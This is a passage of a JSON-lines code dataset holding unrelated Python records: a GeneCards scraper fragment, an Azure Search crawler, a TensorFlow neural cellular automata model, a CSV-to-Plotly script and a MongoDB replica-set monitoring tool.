'li')\n for title in item:\n\n title_nums = title.find_elements(By.TAG_NAME, 'a')\n num_strings = \"\"\n for super in title_nums:\n num_strings += \" \" + super.text\n\n real_title = title.text.replace(num_strings, \"\")\n\n gene_string += real_title + \"\\n\"\n\n # write aliases to sheet\n\n worksheet.write(row, 1, gene_string[0:-1])\n\n # find summaries\n\n summaries = driver.find_element(By.ID, 'summaries')\n summaries = summaries.find_elements(By.CLASS_NAME, 'gc-subsection')\n\n summary_array = []\n\n for summary in summaries:\n\n title = summary.find_element(By.TAG_NAME, 'h3')\n\n if title.text != \"\":\n summary_array.append(bold)\n summary_array.append(title.text)\n\n body = summary.text.replace(title.text, '')\n \n summary_array.append(body + \"\\n\\n\")\n\n # remove extra new lines\n\n ind = len(summary_array)-1\n\n if summary_array[ind] == \"\\n\\n\":\n summary_array.pop(ind)\n else:\n summary_array[ind] = summary_array[ind][0:-4]\n\n # write summary to sheet\n\n worksheet.write_rich_string(row, 2, *summary_array)\n \n print(\"Completed: \"+ gene + \" [\" + str(row+1) + \"/\" + str(len(genes)) + \"]\")\n \n except:\n \n print(\"There was an error processing: \" + gene)\n\n # increment row\n\n row += 1\n\n # close programs\n\n driver.quit()\n workbook.close()","sub_path":"genecards-scrape/production/210109_genecards_scrape.py","file_name":"210109_genecards_scrape.py","file_ext":"py","file_size_in_byte":4205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"98841209","text":"class Config(object):\n def __init__(self, cfile):\n from json import loads\n config = loads(open(cfile).read())\n \n self.service = config['SERVICE']\n self.index = config['INDEX']\n self.version = config['VERSION']\n self.key = config['KEY']\n self.query = config['QUERY']\n self.output = config['OUTPUT']\n self.fields = config['FIELDS']\n self.dataset = config['DATASET']\n self.columns = config['COLUMNS']\n\nclass Crawler(object):\n def __init__(self, service, index, version):\n self.service = service\n self.index = index\n self.version = version\n \n self.url = 'https://' + service +\\\n '.search.windows.net/indexes/' + index +\\\n '/docs/search?api-version=' + version\n print(self.url)\n \n def searchDocuments(self, key, query={}, headers={}, meta=False, file=False):\n # ate 1000 registros\n from requests import post\n from json import dumps\n from time import time\n \n headers['api-key'] = key\n headers['content-type'] = 'application/json'\n if not query:\n query['search'] = '*'\n \n t0 = time()\n response = post(self.url, headers = headers, json = query).json()\n if not meta:\n response = response['value']\n \n print('Foram retornados', len(response), 'documentos!')\n print('Em', round(time()-t0, 3), 'segundos!')\n \n if file:\n with open(file, 'w') as fl:\n fl.write(dumps(response, indent = 2))\n print('Arquivo', file, 'criado!')\n else:\n return response\n\ndef concatFields(data, fields):\n for field in fields:\n for i in range(len(data)):\n data[i][field] = ' '.join(data[i][field])\n \n print('Campo', field, 'concatenado!')\n \n return data\n\ndef api2dataset(data, file, columns=False):\n import pandas as pd\n dataset = pd.DataFrame.from_dict(data)\n if columns:\n dataset.columns = columns\n \n dataset.to_csv(file, sep = ';', index=False, encoding='utf-8')\n print('Arquivos', file, 'criado!')\n\nif __name__ == '__main__':\n from json import loads\n config = Config('config.json')\n \n # Parametros\n service = config.service\n index = config.index\n version = config.version\n key = config.key\n query = config.query\n output = config.output\n fields = config.fields\n dataset = config.dataset\n columns = config.columns\n \n # Criar raspador\n spider = Crawler(service, index, version)\n \n # Realizar consulta\n spider.searchDocuments(key, query = query, file = output)\n\n # Transformar consulta em dataset\n data = loads(open(output).read())\n data = concatFields(data, fields) # Concatenar valores dos campos de lista em string\n api2dataset(data, dataset, columns)","sub_path":"OneWaySolution-master/01_POC_I/02_azure_search/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":2670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"547123297","text":"import numpy as np\nimport tensorflow as tf\n\nfrom tensorflow.keras.layers import Conv2D\n\nfrom utils import get_living_mask\n\n\nclass CAModel(tf.keras.Model):\n\n def __init__(self, channel_n=16, fire_rate=0.5):\n super().__init__()\n self.channel_n = channel_n\n self.fire_rate = fire_rate\n\n self.dmodel = tf.keras.Sequential([\n Conv2D(128, 1, activation=tf.nn.relu),\n Conv2D(self.channel_n, 1, activation=None,\n kernel_initializer=tf.zeros_initializer),\n ])\n\n self(tf.zeros([1, 3, 3, channel_n])) # dummy call to build the model\n\n @tf.function\n def perceive(self, x, angle=0.0):\n identify = np.float32([0, 1, 0])\n identify = np.outer(identify, identify)\n dx = np.outer([1, 2, 1], [-1, 0, 1]) / 8.0 # Sobel filter\n dy = dx.T\n c, s = tf.cos(angle), tf.sin(angle)\n kernel = tf.stack([identify, c * dx - s * dy, s * dx + c * dy], -1)[:, :, None, :]\n kernel = tf.repeat(kernel, self.channel_n, 2)\n y = tf.nn.depthwise_conv2d(x, kernel, [1, 1, 1, 1], 'SAME')\n return y\n\n @tf.function\n def call(self, x, fire_rate=None, angle=0.0, step_size=1.0):\n pre_life_mask = get_living_mask(x)\n\n y = self.perceive(x, angle)\n dx = self.dmodel(y) * step_size\n if fire_rate is None:\n fire_rate = self.fire_rate\n update_mask = tf.random.uniform(tf.shape(x[:, :, :, :1])) <= fire_rate\n x += dx * tf.cast(update_mask, tf.float32)\n\n post_life_mask = get_living_mask(x)\n life_mask = pre_life_mask & post_life_mask\n return x * tf.cast(life_mask, tf.float32)\n\n","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1661,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"599733111","text":"input_file='file.csv'\nimport re\nimport numpy as np\nimport csv\nimport plotly\nimport plotly.graph_objs as go\nfrom plotly import tools\nimport itertools\nfrom itertools import groupby\nfrom collections import defaultdict, namedtuple\n\n\n\n\n\ndef getElement(line):\n result = re.split(r',', line, maxsplit=1)\n element = result[0].strip()\n return element, result[1]\ndef getid(line):\n id, line = getElement(line)\n return id, line\ndef getname(line):\n name, line = getElement(line)\n return name, line\ndef getaddress(line):\n address, line = getElement(line)\n return address, line\ndef getCity(line):\n city, line = getElement(line)\n return city, line\ndef getState(line):\n state, line = getElement(line)\n state = state[0:].upper()\n return state, line\ndef getPostalCode(line):\n result=re.split(r',', line, maxsplit=1)\n postalcode = re.findall(r'\\d{5}', result[0])[0]\n return postalcode, result[1]\ndef getLatitude(line):\n result = re.split(r',', line, maxsplit=1)\n latitude = re.findall(r'\\d\\d\\.\\d{6}', result[1])[0]\n latitude=latitude.replace(\",\",\".\")\n return latitude, result[1]\n\ndef read_csv_line(line_number, input_file):\n with open(input_file) as fileobj:\n for i, line in enumerate(fileobj):\n if i == (line_number - 1):\n return line\n return None\n\ncolumns = defaultdict(list)\na={}\nl=[]\ntry:\n\n with open(input_file, encoding=\"utf-8\", mode='r') as file:\n line_number = 0\n dataset = dict()\n # print(dataset)\n # print(dataset.keys())\n file.readline()\n i=1\n\n for line in file:\n line = line.strip().rstrip()\n line_number += 1\n if not line:\n continue\n if line_number==20:\n break\n id, line = getElement(line)\n name, line = getElement(line)\n address, line = getElement(line)\n city, line = getCity(line)\n state, line = getState(line)\n postalcode, line = getPostalCode(line)\n latitude, line = getLatitude(line)\n l.append(latitude)\n #print(city, postalcode, latitude)\n if state in dataset:\n if city in dataset[state]:\n dataset[state][city]=[postalcode, latitude]\n if postalcode and latitude in dataset[state][city]:\n dataset[state][city]=[postalcode, latitude]\n else:\n dataset[state][city]=[]\n else:\n dataset[state]={city:[postalcode, latitude]}\n else:\n dataset[state]={city:[]}\n if i==1:\n dataset[state]={city:[postalcode, latitude]}\n i+=1\n print(dataset)\n with open(input_file) as file:\n reader = csv.DictReader(file)\n for row in reader: # read a row as {column1: value1, column2: value2,...}\n for (k, v) in row.items(): # go over each column name and value\n columns[k].append(v) # append the value into the appropriate list\n # based on column name k\n\n\nexcept IOError as e:\n print (\"I/O error({0}): {1}\".format(e.errno, e.strerror))\n\nexcept ValueError as ve:\n print(\"Value error {0} in line {1}\".format(ve, line_number))\nb=list(columns['city'])\nfor x in range(2, 23):\n a.update({x:[read_csv_line(x, input_file)]})\n#a имеет ключи начиная с 3\n\n\n\ns=list(dataset.keys())\n\nu=[]\nfor state in list(dataset.keys()):\n citu=dataset[state]\n for city in list(citu.keys()):\n u.append(city)\nbar = [go.Bar(x=s, y=u)]\nplotly.offline.plot(bar, filename='bar.html')\ntrace = [go.Scatter(x=l, y=u)]\nplotly.offline.plot(trace, filename='trace.html')\n","sub_path":"3/programm/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3763,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"578554640","text":"#!/usr/bin/python\n# Classification (U)\n\n\"\"\"Program: mongo_rep_admin.py\n\n Description: Administration program for Mongo replica set. The program\n has a number of functions to monitor the status of replication between\n primary and secondary databases. The program can monitor and check on\n a number of different aspects in replication to include checking master\n status, membership status, replication time lag between primary and\n secondaries, and replication configuration status.\n\n Usage:\n mongo_rep_admin.py -c file -d path\n {-L [-j [-f]] [-z] [-o dir_path/file [-a]] [-i [db:coll] -m file]\n [-e toEmail {toEmail2, [...]} [-s subject] [-u]] |\n -N [ [-f] [-e toEmail {toEmail2, [...]} [-s subject] [-u]] [-z] |\n -M | -P | -S | -T }\n [-v | -h]\n\n Arguments:\n -c file => Server configuration file. Required arg.\n -d dir path => Directory path to config file (-c). Required arg.\n\n -L => Check Replication lag.\n -j => Set output to JSON format.\n -f => Flatten the JSON data structure to file and standard out.\n -i [database:collection] => Name of database and collection.\n Delimited by colon (:). Default: sysmon:mongo_rep_lag\n -m file => Mongo config file used for the insertion into a Mongo\n database. Do not include the .py extension.\n -o path/file => Directory path and file name for output.\n Default is to overwrite the file.\n -a => Append output to output file.\n -e to_email_addresses => Sends output to one or more email\n addresses. Email addresses are space delimited.\n -s subject_line => Subject line of email.\n -u => Override the default mail command and use mailx.\n -z => Suppress standard out.\n\n -M => Show current members in replication set.\n\n -N => Node health check. Returns if a node has a problem or is down.\n -f => Flatten the JSON data structure to file and standard out.\n -e to_email_addresses => Sends output to one or more email\n addresses. Email addresses are space delimited.\n -s subject_line => Subject line of email.\n -u => Override the default mail command and use mailx.\n -z => Suppress standard out.\n\n -P => Show priority for members in replication set.\n\n -S => Check status of rep for members in rep set, but will only print\n the status if errors are detected.\n\n -T => Check status of rep for members in rep set and will print the\n status in all checks.\n\n -v => Display version of this program.\n -h => Help and usage message.\n\n NOTE 1: -v and -h overrides all other options.\n\n Notes:\n Mongo configuration file format (config/mongo.py.TEMPLATE). The\n configuration file format is for connecting to a Mongo database or\n replica set for monitoring. A second configuration file can also\n be used to connect to a Mongo database or replica set to insert the\n results of the performance monitoring into.\n\n There are two ways to connect methods: single Mongo database or a\n Mongo replica set.\n\n Single database connection:\n\n # Single Configuration file for Mongo Database Server.\n user = \"USER\"\n japd = \"PSWORD\"\n host = \"IP_ADDRESS\"\n name = \"HOSTNAME\"\n port = 27017\n conf_file = None\n auth = True\n auth_db = \"admin\"\n auth_mech = \"SCRAM-SHA-1\"\n use_arg = True\n use_uri = False\n\n Replica Set connection: Same format as above, but with these\n additional entries at the end of the configuration file. By\n default all these entries are set to None to represent not\n connecting to a replica set.\n\n repset = \"REPLICA_SET_NAME\"\n repset_hosts = \"HOST1:PORT, HOST2:PORT, HOST3:PORT, [...]\"\n db_auth = \"AUTHENTICATION_DATABASE\"\n\n Note: If using SSL connections then set one or more of the\n following entries. This will automatically enable SSL\n connections. Below are the configuration settings for SSL\n connections. See configuration file for details on each entry:\n\n ssl_client_ca = None\n ssl_client_key = None\n ssl_client_cert = None\n ssl_client_phrase = None\n\n Note: FIPS Environment for Mongo.\n If operating in a FIPS 104-2 environment, this package will\n require at least a minimum of pymongo==3.8.0 or better. It will\n also require a manual change to the auth.py module in the pymongo\n package. See below for changes to auth.py.\n\n - Locate the auth.py file python installed packages on the system\n in the pymongo package directory.\n - Edit the file and locate the \"_password_digest\" function.\n - In the \"_password_digest\" function there is an line that should\n match: \"md5hash = hashlib.md5()\". Change it to\n \"md5hash = hashlib.md5(usedforsecurity=False)\".\n - Lastly, it will require the Mongo configuration file entry\n auth_mech to be set to: SCRAM-SHA-1 or SCRAM-SHA-256.\n\n Configuration modules -> Name is runtime dependent as it can be used to\n connect to different databases with different names.\n\n Example:\n mongo_rep_admin.py -c mongo -d config -L -j\n\n\"\"\"\n\n# Libraries and Global Variables\n\n# Standard\nimport sys\nimport datetime\n\n# Third party\nimport json\n\n# Local\nimport lib.arg_parser as arg_parser\nimport lib.gen_libs as gen_libs\nimport lib.gen_class as gen_class\nimport mongo_lib.mongo_libs as mongo_libs\nimport mongo_lib.mongo_class as mongo_class\nimport version\n\n__version__ = version.__version__\n\n\ndef help_message():\n\n \"\"\"Function: help_message\n\n Description: Displays the program's docstring which is the help and usage\n message when -h option is selected.\n\n Arguments:\n\n \"\"\"\n\n print(__doc__)\n\n\ndef rep_health_chk(rep_stat, prt_all=False, prt_lvl=1):\n\n \"\"\"Function: rep_health_chk\n\n Description: Checks the replication health status for a member.\n\n Arguments:\n (input) rep_stat -> Member document from replSetGetStatus.\n (input) prt_all -> True|False - To print all or just errors.\n (input) prt_lvl -> Integer - Level at which to print message.\n\n \"\"\"\n rep_stat = dict(rep_stat)\n\n if not rep_stat.get(\"health\"):\n gen_libs.prt_msg(\"Health\", \"Bad\", prt_lvl)\n\n elif prt_all:\n gen_libs.prt_msg(\"Health\", \"Good\", prt_lvl)\n\n\ndef rep_state_chk(rep_stat, prt_all=False, prt_lvl=1):\n\n \"\"\"Function: rep_state_chk\n\n Description: Checks the state for a member. Requires the member document\n from a \"replSetGetStatus\" command to be passed to the function.\n\n Arguments:\n (input) rep_stat -> Member document from replSetGetStatus.\n (input) prt_all -> True|False - To print all or just errors.\n (input) prt_lvl -> Integer - Level at which to print message.\n\n \"\"\"\n\n # Good state is 1 (Primary), 2 (Secondary), 7 (Abriter).\n good_state = [1, 2, 7]\n rep_stat = dict(rep_stat)\n\n if rep_stat.get(\"state\") not in good_state or prt_all:\n gen_libs.prt_msg(\"State\", rep_stat.get(\"state\"), prt_lvl)\n gen_libs.prt_msg(\"State Msg\", rep_stat.get(\"stateStr\"), prt_lvl + 1)\n\n\ndef rep_msg_chk(rep_stat, prt_lvl=1):\n\n \"\"\"Function: rep_msg_chk\n\n Description: Print data if the infoMessage field is present.\n\n Arguments:\n (input) rep_stat -> Member document from replSetGetStatus.\n (input) prt_lvl -> Integer - Level at which to print message.\n\n \"\"\"\n\n rep_stat = dict(rep_stat)\n\n if rep_stat.get(\"infoMessage\"):\n gen_libs.prt_msg(\"Error Message\", rep_stat.get(\"infoMessage\"), prt_lvl)\n\n\ndef chk_rep_stat(repset, args_array, **kwargs):\n\n \"\"\"Function: chk_rep_stat\n\n Description: Fetch the replication status and process each member in the\n set.\n\n Arguments:\n (input) repset -> Replication set instance.\n (input) args_array -> Array of command line options and values.\n (input) **kwargs:\n mail -> Mail instance.\n prt_all -> True|False on printing all status messages.\n (output) status -> Tuple on connection status.\n status[0] - True|False - Connection successful.\n status[1] - Error message if connection failed.\n\n \"\"\"\n\n status = (True, None)\n args_array = dict(args_array)\n print(\"\\nReplication Status Check for Rep Set: %s\" % (repset.repset))\n prt_all = kwargs.get(\"prt_all\", False)\n\n # Process each member in replica set.\n for item in repset.adm_cmd(\"replSetGetStatus\").get(\"members\"):\n print(\"\\nServer: %s\" % (item.get(\"name\")))\n rep_health_chk(item, prt_all)\n rep_state_chk(item, prt_all)\n rep_msg_chk(item)\n\n return status\n\n\ndef prt_rep_stat(repset, args_array, **kwargs):\n\n \"\"\"Function: prt_rep_stat\n\n Description: Set the print all flag and call chk_rep_stat function.\n\n Arguments:\n (input) repset -> Replication set instance.\n (input) args_array -> Array of command line options and values.\n (input) **kwargs:\n mail -> Mail instance.\n (output) status -> Tuple on connection status.\n status[0] - True|False - Connection successful.\n status[1] - Error message if connection failed.\n\n \"\"\"\n\n status = (True, None)\n args_array = dict(args_array)\n chk_rep_stat(repset, args_array, prt_all=args_array[\"-T\"])\n\n return status\n\n\ndef fetch_priority(repset, args_array, **kwargs):\n\n \"\"\"Function: fetch_priority\n\n Description: Fetch and print members in the replication set.\n\n Arguments:\n (input) repset -> Replication set instance.\n (input) args_array -> Array of command line options and values.\n (input) **kwargs:\n mail -> Mail instance.\n (output) status -> Tuple on connection status.\n status[0] - True|False - Connection successful.\n status[1] - Error message if connection failed.\n\n \"\"\"\n\n args_array = dict(args_array)\n coll = mongo_class.Coll(\n repset.name, repset.user, repset.japd, host=repset.host,\n port=repset.port, db=\"local\", coll=\"system.replset\", auth=repset.auth,\n conf_file=repset.conf_file, auth_db=repset.auth_db,\n use_arg=repset.use_arg, use_uri=repset.use_uri,\n auth_mech=repset.auth_mech)\n status = coll.connect()\n\n if status[0]:\n print(\"\\nMembers => priority of replica set: %s\" % (repset.repset))\n\n for item in coll.coll_find1()[\"members\"]:\n print(\"\\t{0} => {1}\".format(item[\"host\"], item[\"priority\"]))\n\n mongo_libs.disconnect([coll])\n\n else:\n status = (status[0],\n \"fetch_priority: Connection failure: %s\" % (status[1]))\n\n return status\n\n\ndef fetch_members(repset, args_array, **kwargs):\n\n \"\"\"Function: fetch_members\n\n Description: Fetch and print members in the replication set and identify\n the primary server.\n\n Arguments:\n (input) repset -> Replication set instance.\n (input) args_array -> Array of command line options and values.\n (input) **kwargs:\n mail -> Mail instance.\n (output) status -> Tuple on connection status.\n status[0] - True|False - Connection successful.\n status[1] - Error message if connection failed.\n\n \"\"\"\n\n status = (True, None)\n args_array = dict(args_array)\n print(\"\\nMembers of replica set: %s\" % (repset.repset))\n rep_status = repset.adm_cmd(\"replSetGetStatus\")\n primary = get_master(rep_status)\n print(\"\\t%s (Primary)\" % (primary[\"name\"]))\n\n secondaries = [member for member in rep_status.get(\"members\")\n if member.get(\"state\") == 2]\n\n for second in secondaries:\n print(\"\\t%s\" % (second[\"name\"]))\n\n return status\n\n\ndef get_master(rep_status):\n\n \"\"\"Function: get_master\n\n Description: Find the Primary in the replSetGetStatus document.\n\n Arguments:\n (input) rep_status -> Members document from replSetGetStatus.\n (output) primary -> Primary entry from replSetGetStatus doc.\n\n \"\"\"\n\n rep_status = dict(rep_status)\n primary = None\n\n # Process each member in replica set.\n for member in rep_status.get(\"members\"):\n if member.get(\"state\") == 1:\n primary = member\n break\n\n return primary\n\n\ndef get_optimedate(rep_status):\n\n \"\"\"Function: get_optimedate\n\n Description: Get the Best oplog date time from one of the Secondaries.\n\n Arguments:\n (input) rep_status -> Members document from replSetGetStatus.\n (output) optime_date -> Best oplog datetime from Secondaries.\n\n \"\"\"\n\n rep_status = dict(rep_status)\n optime_date = datetime.datetime.strptime(\"1900-01-01 00:00:01\",\n \"%Y-%m-%d %H:%M:%S\")\n\n # Find best datetime from Secondary servers.\n for member in rep_status.get(\"members\"):\n if member.get(\"optimeDate\") > optime_date:\n optime_date = member.get(\"optimeDate\")\n\n return optime_date\n\n\ndef chk_mem_rep_lag(rep_status, **kwargs):\n\n \"\"\"Function: chk_mem_rep_lag\n\n Description: Process each member in the replication set and check for\n replication lag.\n\n Arguments:\n (input) rep_status -> Member document from replSetGetStatus.\n (input) **kwargs:\n json -> True|False - JSON format.\n ofile -> file name - Name of output file.\n db_tbl -> database:collection - Name of db and collection.\n class_cfg -> Server class configuration settings.\n mail -> Mail instance.\n args_array -> Array of command line options and values.\n suf -> Primary|Freshest Secondary who has latest date time.\n optdt -> Primary|Best Oplog date time.\n (output) status -> Tuple on connection status.\n status[0] - True|False - Connection successful.\n status[1] - Error message if connection failed.\n\n \"\"\"\n\n t_format = \"%Y-%m-%d %H:%M:%S\"\n rep_status = dict(rep_status)\n json_fmt = kwargs.get(\"json\", False)\n\n outdata = {\"Application\": \"Mongo Replication\",\n \"RepSet\": rep_status.get(\"set\"),\n \"Master\": get_master(rep_status).get(\"name\"),\n \"AsOf\": datetime.datetime.strftime(datetime.datetime.now(),\n t_format),\n \"Slaves\": []}\n\n # Process each member in replica set.\n for member in rep_status.get(\"members\"):\n\n # Ignore if member is Primary or Abriter.\n if member.get(\"state\") in [1, 7]:\n continue\n\n # Fetch rep lag time.\n if member.get(\"optime\"):\n sec_ago = gen_libs.get_secs(\n kwargs[\"optdt\"] - member.get(\"optimeDate\"))\n outdata[\"Slaves\"].append(\n {\"Name\": member.get(\"name\"),\n \"SyncTo\": datetime.datetime.strftime(\n member.get(\"optimeDate\"), t_format),\n \"LagTime\": sec_ago})\n\n else:\n gen_libs.prt_msg(\"Warning\", \"No replication info available.\", 0)\n\n if json_fmt:\n status = _process_json(outdata, **kwargs)\n\n else:\n status = _process_std(outdata, **kwargs)\n\n return status\n\n\ndef _process_std(outdata, **kwargs):\n\n \"\"\"Function: _process_std\n\n Description: Private function for chk_mem_rep_lag(). Process standard out\n formatted data.\n\n Arguments:\n (input) outdata -> JSON document from chk_mem_rep_lag function.\n (input) **kwargs:\n json -> True|False - JSON format.\n ofile -> file name - Name of output file.\n db_tbl -> database:collection - Name of db and collection.\n class_cfg -> Server class configuration settings.\n mail -> Mail instance.\n args_array -> Array of command line options and values.\n suf -> Primary|Freshest Secondary who has latest date time.\n optdt -> Primary|Best Oplog date time.\n (output) status -> Tuple on connection status.\n status[0] - True|False - Connection successful.\n status[1] - Error message if connection failed.\n\n \"\"\"\n\n status = (True, None)\n mode = \"w\"\n mongo_cfg = kwargs.get(\"class_cfg\", None)\n db_tbl = kwargs.get(\"db_tbl\", None)\n ofile = kwargs.get(\"ofile\", None)\n mail = kwargs.get(\"mail\", None)\n args_array = dict(kwargs.get(\"args_array\", {}))\n body = []\n\n if args_array.get(\"-a\", False):\n mode = \"a\"\n\n body.append(\"\\nReplication lag for Replica set: %s.\" % (outdata[\"RepSet\"]))\n\n for item in outdata[\"Slaves\"]:\n body.append(\"\\nSource: {0}\".format(item[\"Name\"]))\n body.append(\"\\tsynced to: {0}\".format(item[\"SyncTo\"]))\n body.append(\"\\t{0} secs ({1} hrs) behind the {2}\".format(\n item[\"LagTime\"], (item[\"LagTime\"] / 36) / 100, kwargs[\"suf\"]))\n\n if mongo_cfg and db_tbl:\n dbs, tbl = db_tbl.split(\":\")\n status = mongo_libs.ins_doc(mongo_cfg, dbs, tbl, outdata)\n\n if not status[0]:\n status = (status[0], \"_process_std: \" + status[1])\n\n if ofile:\n f_hldr = gen_libs.openfile(ofile, mode)\n\n for line in body:\n gen_libs.write_file2(f_hldr, line)\n\n if mail:\n for line in body:\n mail.add_2_msg(line)\n\n mail.send_mail(use_mailx=args_array.get(\"-u\", False))\n\n if not args_array.get(\"-z\", False):\n for item in body:\n print(item)\n\n return status\n\n\ndef _process_json(outdata, **kwargs):\n\n \"\"\"Function: _process_json\n\n Description: Private function for chk_mem_rep_lag(). Process JSON data.\n\n Arguments:\n (input) outdata -> JSON document from chk_mem_rep_lag function.\n (input) **kwargs:\n json -> True|False - JSON format.\n ofile -> file name - Name of output file.\n db_tbl -> database:collection - Name of db and collection.\n class_cfg -> Server class configuration settings.\n mail -> Mail instance.\n args_array -> Array of command line options and values.\n suf -> Primary|Freshest Secondary who has latest date time.\n optdt -> Primary|Best Oplog date time.\n (output) status -> Tuple on connection status.\n status[0] - True|False - Connection successful.\n status[1] - Error message if connection failed.\n\n \"\"\"\n\n status = (True, None)\n mode = \"w\"\n indent = 4\n mongo_cfg = kwargs.get(\"class_cfg\", None)\n db_tbl = kwargs.get(\"db_tbl\", None)\n ofile = kwargs.get(\"ofile\", None)\n mail = kwargs.get(\"mail\", None)\n args_array = dict(kwargs.get(\"args_array\", {}))\n\n if args_array.get(\"-a\", False):\n mode = \"a\"\n\n if args_array.get(\"-f\", False):\n indent = None\n\n jdata = json.dumps(outdata, indent=indent)\n\n if mongo_cfg and db_tbl:\n dbs, tbl = db_tbl.split(\":\")\n status = mongo_libs.ins_doc(mongo_cfg, dbs, tbl, outdata)\n\n if not status[0]:\n status = (status[0], \"_process_json: \" + status[1])\n\n if ofile:\n gen_libs.write_file(ofile, mode, jdata)\n\n if mail:\n mail.add_2_msg(jdata)\n mail.send_mail(use_mailx=args_array.get(\"-u\", False))\n\n if not args_array.get(\"-z\", False):\n gen_libs.display_data(jdata)\n\n return status\n\n\ndef chk_rep_lag(repset, args_array, **kwargs):\n\n \"\"\"Function: chk_rep_lag\n\n Description: See if replication is running and find the best Oplog\n datetime whether Primary or Secondary.\n\n Arguments:\n (input) repset -> Replication set instance.\n (input) args_array -> Array of command line options and values.\n (input) **kwargs:\n mail -> Mail instance.\n (output) status -> Tuple on connection status.\n status[0] - True|False - Connection successful.\n status[1] - Error message if connection failed.\n\n \"\"\"\n\n args_array = dict(args_array)\n json_fmt = args_array.get(\"-j\", False)\n outfile = args_array.get(\"-o\", None)\n db_tbl = args_array.get(\"-i\", None)\n rep_status = repset.adm_cmd(\"replSetGetStatus\")\n primary = get_master(rep_status)\n mongo_cfg = None\n\n if args_array.get(\"-m\", None):\n mongo_cfg = gen_libs.load_module(args_array[\"-m\"], args_array[\"-d\"])\n\n if primary:\n optime_date = primary.get(\"optimeDate\")\n suffix = \"primary\"\n\n # Use best datetime from Secondaries.\n else:\n optime_date = get_optimedate(rep_status)\n suffix = \"freshest secondary\"\n\n status = chk_mem_rep_lag(\n rep_status, optdt=optime_date, suf=suffix, json=json_fmt,\n ofile=outfile, db_tbl=db_tbl, class_cfg=mongo_cfg,\n args_array=args_array, **kwargs)\n\n return status\n\n\ndef node_chk(mongo, args_array, **kwargs):\n\n \"\"\"Function: node_chk\n\n Description: Check the status of all Mongo nodes. Will only output\n something if a node is down or an error is detected.\n\n Arguments:\n (input) mongo -> Mongo instance.\n (input) args_array -> Array of command line options and values.\n (input) **kwargs:\n mail -> Mail instance.\n (output) status -> Tuple on connection status.\n status[0] - True|False - Connection successful.\n status[1] - Error message if connection failed.\n\n \"\"\"\n\n status = (True, None)\n args_array = dict(args_array)\n mail = kwargs.get(\"mail\", None)\n node_status = {}\n\n indent = None if args_array.get(\"-f\", False) else 4\n\n for node in mongo.adm_cmd(\"replSetGetStatus\").get(\"members\"):\n status2 = single_node_chk(node)\n\n if status2:\n node_status[node.get(\"name\")] = status2\n\n if node_status:\n jnode_status = json.dumps(node_status, indent=indent)\n\n if not args_array.get(\"-z\", False):\n gen_libs.display_data(jnode_status)\n\n if mail:\n if not mail.subj:\n subj = \"Node Status Check for Rep Set: %s\" % mongo.repset\n mail.create_subject(subj=subj)\n\n mail.add_2_msg(jnode_status)\n mail.send_mail(use_mailx=args_array.get(\"-u\", False))\n\n return status\n\n\ndef single_node_chk(node):\n\n \"\"\"Function: single_node_chk\n\n Description: Check the status of a single node. Will only output\n something if a node is down or an error is detected.\n\n Arguments:\n (input) node -> Dictionary of Mongo node health stats.\n (output) status -> Dictionary of node stats found.\n\n \"\"\"\n\n # Good state is 1 (Primary), 2 (Secondary), 7 (Abriter).\n good_state = [1, 2, 7]\n node = dict(node)\n status = {}\n\n if not node.get(\"health\"):\n status[\"Health\"] = \"Bad\"\n\n if node.get(\"state\") not in good_state:\n status[\"State\"] = node.get(\"state\")\n status[\"State_Message\"] = node.get(\"stateStr\")\n\n if node.get(\"infoMessage\"):\n status[\"Error_Message\"] = node.get(\"infoMessage\")\n\n return status\n\n\ndef _call_func(args_array, func_dict, repinst):\n\n \"\"\"Function: _call_func\n\n Description: Private function for run_program. Call each function\n selected.\n\n Arguments:\n (input) args_array -> Dict of command line options and values.\n (input) func_dict -> Dictionary list of functions and options.\n (input) repset -> Replication set instance.\n\n \"\"\"\n\n args_array = dict(args_array)\n func_dict = dict(func_dict)\n mail = None\n\n if args_array.get(\"-e\", None):\n mail = gen_class.setup_mail(\n args_array.get(\"-e\"), subj=args_array.get(\"-s\", None))\n\n # Call function: Intersection of command line & function dict.\n for item in set(args_array.keys()) & set(func_dict.keys()):\n status3 = func_dict[item](repinst, args_array, mail=mail)\n\n if not status3[0]:\n print(\"Error detected: %s\" % (status3[1]))\n\n\ndef run_program(args_array, func_dict):\n\n \"\"\"Function: run_program\n\n Description: Creates class instance(s) and controls flow of the program.\n\n Arguments:\n (input) args_array -> Dict of command line options and values.\n (input) func_dict -> Dictionary list of functions and options.\n\n \"\"\"\n\n args_array = dict(args_array)\n func_dict = dict(func_dict)\n server = gen_libs.load_module(args_array[\"-c\"], args_array[\"-d\"])\n\n # Only pass authorization mechanism if present.\n auth_mech = {\"auth_mech\": server.auth_mech} if hasattr(\n server, \"auth_mech\") else {}\n\n coll = mongo_class.Coll(\n server.name, server.user, server.japd, host=server.host,\n port=server.port, db=\"local\", coll=\"system.replset\", auth=server.auth,\n conf_file=server.conf_file, auth_db=server.auth_db,\n use_arg=server.use_arg, use_uri=server.use_uri, **auth_mech)\n status = coll.connect()\n\n if status[0]:\n\n # Is replication setup.\n if coll.coll_cnt() != 0:\n\n # Get replica set name if not in config.\n if server.repset:\n rep_set = server.repset\n\n else:\n rep_set = coll.coll_find1().get(\"_id\")\n\n repinst = mongo_class.RepSet(\n server.name, server.user, server.japd, host=server.host,\n port=server.port, auth=server.auth, repset=rep_set,\n repset_hosts=server.repset_hosts, auth_db=server.auth_db,\n use_arg=server.use_arg, use_uri=server.use_uri, **auth_mech)\n status2 = repinst.connect()\n\n if status2[0]:\n\n _call_func(args_array, func_dict, repinst)\n mongo_libs.disconnect([repinst])\n\n else:\n print(\"run_program.RepSet: Connection failure: %s\"\n % (status2[1]))\n\n else:\n gen_libs.prt_msg(\"Error\", \"No replication found.\", 0)\n\n mongo_libs.disconnect([coll])\n\n else:\n print(\"run_program.Coll: Connection failure: %s\" % (status[1]))\n\n\ndef main():\n\n \"\"\"Function: main\n\n Description: Initializes program-wide used variables and processes command\n line arguments and values.\n\n Variables:\n dir_chk_list -> contains options which will be directories.\n file_chk_list 